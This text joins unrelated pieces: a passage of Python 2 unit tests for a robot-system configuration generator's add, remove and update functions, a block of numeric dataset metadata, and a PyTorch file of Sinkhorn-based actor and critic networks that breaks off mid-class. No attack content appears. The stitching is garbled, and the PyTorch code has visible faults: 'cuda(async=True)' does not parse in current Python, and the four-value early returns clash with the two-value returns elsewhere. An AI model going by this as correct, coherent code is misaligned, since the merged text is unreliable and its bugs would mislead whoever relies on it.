config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="activated", resource=["node2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_15(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic2"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic2"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_16(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic3"]))
config_b.observers.append(observer_configuration(type="movement", resource=["/topic2", "/topic3"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic2"]))
config_result.observers.append(observer_configuration(type="movement", resource=["/topic1", "/topic3"]))
config_result.observers.append(observer_configuration(type="movement", resource=["/topic2", "/topic3"]))
gen = ModelGenerator()
gen.set_config(config_a)
print gen.config
gen.add_config(config_b)
print gen.config
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_1(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_2(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_3(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", ], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node3", pub_topic=[], sub_topic=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", ], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic3"], sub_topic=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_4(self):
config_a = configuration()
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=[]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_5(self):
config_a = configuration()
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1"))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_6(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_7(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_8(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=[]))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(
node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_9(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="hz"))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_remove_config_10(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="hz", resource=[]))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(
node_configuration(name="node2", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.remove_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_update_config_1(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.update_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_update_config_2(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.update_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_update_config_3(self):
config_a = configuration()
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.update_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_get_config_copy_1(self):
config_a = configuration()
config_a.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
config_result = configuration()
config_result.nodes.append(
node_configuration(name="node1", pub_topic=["/topic3", "/topic4"], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic4"]))
gen = ModelGenerator()
gen.set_config(config_a)
self.assertTrue(ConfigurationValidation.compare_configs(gen.get_config_copy(), config_result),
"configs do not match!")
| 55.481107
| 120
| 0.67891
| 9,352
| 82,223
| 5.726796
| 0.031544
| 0.040125
| 0.115522
| 0.179472
| 0.908229
| 0.892078
| 0.879175
| 0.876039
| 0.863753
| 0.847023
| 0
| 0.013663
| 0.182869
| 82,223
| 1,481
| 121
| 55.518569
| 0.78347
| 0.018644
| 0
| 0.764235
| 1
| 0
| 0.096247
| 0
| 0
| 0
| 0
| 0
| 0.048043
| 0
| null | null | 0.002669
| 0.009786
| null | null | 0.002669
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
9cd5b45e3d3484125d1ea4c797a0fb5ac9320df9
| 9,838
|
py
|
Python
|
spg/models.py
|
pemami4911/sinkhorn-policy-gradient.pytorch
|
e029640397b77571b33df887f524b6ba2009e2c1
|
[
"BSD-3-Clause"
] | 39
|
2018-05-22T15:36:02.000Z
|
2021-11-10T01:14:58.000Z
|
spg/models.py
|
pemami4911/sinkhorn-policy-gradient.pytorch
|
e029640397b77571b33df887f524b6ba2009e2c1
|
[
"BSD-3-Clause"
] | null | null | null |
spg/models.py
|
pemami4911/sinkhorn-policy-gradient.pytorch
|
e029640397b77571b33df887f524b6ba2009e2c1
|
[
"BSD-3-Clause"
] | 9
|
2018-05-22T15:46:57.000Z
|
2021-09-30T15:48:46.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import numpy as np
import math
from spg.layers import Sinkhorn
from spg.util import parallel_matching
from sklearn.utils.linear_assignment_ import linear_assignment
from pathos.multiprocessing import ProcessingPool as Pool
class SPGSequentialActor(nn.Module):
"""
Embeds the input, then an RNN maps it to an intermediate representation
which gets transofrmed to a stochastic matrix
"""
def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, bidirectional=True,
sinkhorn_iters=5, sinkhorn_tau=1, num_workers=4, cuda=True):
super(SPGSequentialActor, self).__init__()
self.use_cuda = cuda
self.n_nodes = n_nodes
self.embedding_dim = embedding_dim
self.rnn_dim = rnn_dim
self.num_workers = num_workers
self.embedding = nn.Linear(n_features, embedding_dim)
self.gru = nn.GRU(embedding_dim, rnn_dim, bidirectional=bidirectional)
scale = 2 if bidirectional else 1
self.fc2 = nn.Linear(scale * self.rnn_dim, n_nodes)
self.sinkhorn = Sinkhorn(n_nodes, sinkhorn_iters, sinkhorn_tau)
self.round = linear_assignment
init_hx = torch.zeros(scale, self.rnn_dim)
if cuda:
init_hx = init_hx.cuda()
self.init_hx = Variable(init_hx, requires_grad=False)
if num_workers > 0:
self.pool = Pool(num_workers)
def cuda_after_load(self):
self.init_hx = self.init_hx.cuda()
def forward(self, x, do_round=True):
"""
x is [batch_size, n_nodes, num_features]
"""
batch_size = x.size()[0]
x = F.leaky_relu(self.embedding(x))
x = torch.transpose(x, 0, 1)
init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1)
h_last, _ = self.gru(x, init_hx)
# h_last should be [n_nodes, batch_size, decoder_dim]
x = torch.transpose(h_last, 0, 1)
# transform to [batch_size, n_nodes, n_nodes]
M = self.fc2(x)
psi = self.sinkhorn(M)
if do_round:
batch = psi.data.cpu().numpy()
if np.any(np.isnan(batch)):
return None, None, None, None
if self.num_workers > 0:
batches = np.split(batch, self.num_workers, 0)
perms = self.pool.map(parallel_matching, batches)
perms = [p for pp in perms for p in pp]
else:
perms = []
for i in range(batch_size):
perm = torch.zeros(self.n_nodes, self.n_nodes)
matching = self.round(-batch[i])
perm[matching[:,0], matching[:,1]] = 1
perms.append(perm)
perms = torch.stack(perms)
if self.use_cuda:
perms = perms.cuda()
#dist = torch.sum(torch.sum(psi * perms, dim=1), dim=1) / self.n_nodes
return psi, perms
else:
return psi, None
class SPGMatchingActor(nn.Module):
def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim,
sinkhorn_iters=5, sinkhorn_tau=1., num_workers=4, cuda=True):
super(SPGMatchingActor, self).__init__()
self.use_cuda = cuda
self.n_nodes = n_nodes
self.rnn_dim = rnn_dim
self.num_workers = num_workers
self.embedding = nn.Linear(n_features, embedding_dim)
self.gru = nn.GRU(n_nodes, rnn_dim)
self.fc1 = nn.Linear(self.rnn_dim, n_nodes)
self.sinkhorn = Sinkhorn(n_nodes, sinkhorn_iters, sinkhorn_tau)
self.round = linear_assignment
init_hx = torch.zeros(1, self.rnn_dim)
if cuda:
init_hx = init_hx.cuda()
self.init_hx = Variable(init_hx, requires_grad=False)
if num_workers > 0:
self.pool = Pool(num_workers)
def cuda_after_load(self):
self.init_hx = self.init_hx.cuda()
def forward(self, x, do_round=True):
"""
x is [batch_size, 2 * n_nodes, num_features]
"""
batch_size= x.size()[0]
# split x into G1 and G2
g1 = x[:,0:self.n_nodes,:]
g2 = x[:,self.n_nodes:2*self.n_nodes,:]
g1 = F.leaky_relu(self.embedding(g1))
g2 = F.leaky_relu(self.embedding(g2))
# take outer product, result is [batch_size, N, N]
x = torch.bmm(g2, torch.transpose(g1, 2, 1))
x = torch.transpose(x, 0, 1)
init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1)
h, _ = self.gru(x, init_hx)
# h is [n_nodes, batch_size, rnn_dim]
h = torch.transpose(h, 0, 1)
# result M is [batch_size, n_nodes, n_nodes]
M = self.fc1(h)
psi = self.sinkhorn(M)
if do_round:
batch = psi.data.cpu().numpy()
if np.any(np.isnan(batch)):
return None, None, None, None
if self.num_workers > 0:
batches = np.split(batch, self.num_workers, 0)
perms = self.pool.map(parallel_matching, batches)
perms = [p for pp in perms for p in pp]
else:
perms = []
for i in range(batch_size):
perm = torch.zeros(self.n_nodes, self.n_nodes)
matching = self.round(-batch[i])
perm[matching[:,0], matching[:,1]] = 1
perms.append(perm)
perms = torch.stack(perms).contiguous()
perms.pin_memory()
if self.use_cuda:
perms = perms.cuda(async=True)
#dist = torch.sum(torch.sum(psi * perms, dim=1), dim=1) / self.n_nodes
return psi, perms
else:
return psi, None
SPGSiameseActor = SPGMatchingActor
class SPGSequentialCritic(nn.Module):
def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, bidirectional=True, cuda=True):
super(SPGSequentialCritic, self).__init__()
self.use_cuda = cuda
self.n_nodes = n_nodes
self.embedding_dim = embedding_dim
self.rnn_dim = rnn_dim
self.embeddingX = nn.Linear(n_features, embedding_dim)
self.embeddingP = nn.Linear(n_nodes, embedding_dim)
self.combine = nn.Linear(embedding_dim, embedding_dim)
self.gru = nn.GRU(embedding_dim, rnn_dim, bidirectional=bidirectional)
self.fc1 = nn.Linear(embedding_dim, 1)
self.fc2 = nn.Linear(n_nodes, 1)
scale = 2 if bidirectional else 1
self.fc3 = nn.Linear(scale * rnn_dim, embedding_dim)
self.bn1 = nn.BatchNorm1d(n_nodes)
self.bn2 = nn.BatchNorm1d(n_nodes)
self.bn3 = nn.BatchNorm1d(n_nodes)
init_hx = torch.zeros(scale, self.rnn_dim)
if cuda:
init_hx = init_hx.cuda()
self.init_hx = Variable(init_hx, requires_grad=False)
def cuda_after_load(self):
self.init_hx = self.init_hx.cuda()
def forward(self, x, p):
"""
x is [batch_size, n_nodes, num_features]
"""
batch_size = x.size()[0]
x = F.leaky_relu(self.bn1(self.embeddingX(x)))
p = F.leaky_relu(self.bn2(self.embeddingP(p)))
xp = F.leaky_relu(self.bn3(self.combine(x + p)))
x = torch.transpose(xp, 0, 1)
init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1)
h_last, hidden_state = self.gru(x, init_hx)
# h_last should be [n_nodes, batch_size, decoder_dim]
x = torch.transpose(h_last, 0, 1)
x = F.leaky_relu(self.fc3(x))
out = self.fc1(x)
out = self.fc2(torch.transpose(out, 1, 2))
# out is [batch_size, 1, 1]
return out
class SPGMatchingCritic(nn.Module):
def __init__(self, n_features, n_nodes, embedding_dim, rnn_dim, cuda):
super(SPGMatchingCritic, self).__init__()
self.use_cuda = cuda
self.n_nodes = n_nodes
self.rnn_dim = rnn_dim
self.embedding = nn.Linear(n_features, embedding_dim)
self.embed_action = nn.Linear(n_nodes, embedding_dim)
self.embedding_bn = nn.BatchNorm1d(n_nodes)
self.gru = nn.GRU(n_nodes, rnn_dim)
self.combine = nn.Linear(embedding_dim, n_nodes)
self.bn1 = nn.BatchNorm1d(n_nodes)
self.bn2 = nn.BatchNorm1d(n_nodes)
self.fc1 = nn.Linear(self.rnn_dim, embedding_dim)
self.fc2 = nn.Linear(n_nodes, 1)
self.fc3 = nn.Linear(n_nodes, 1)
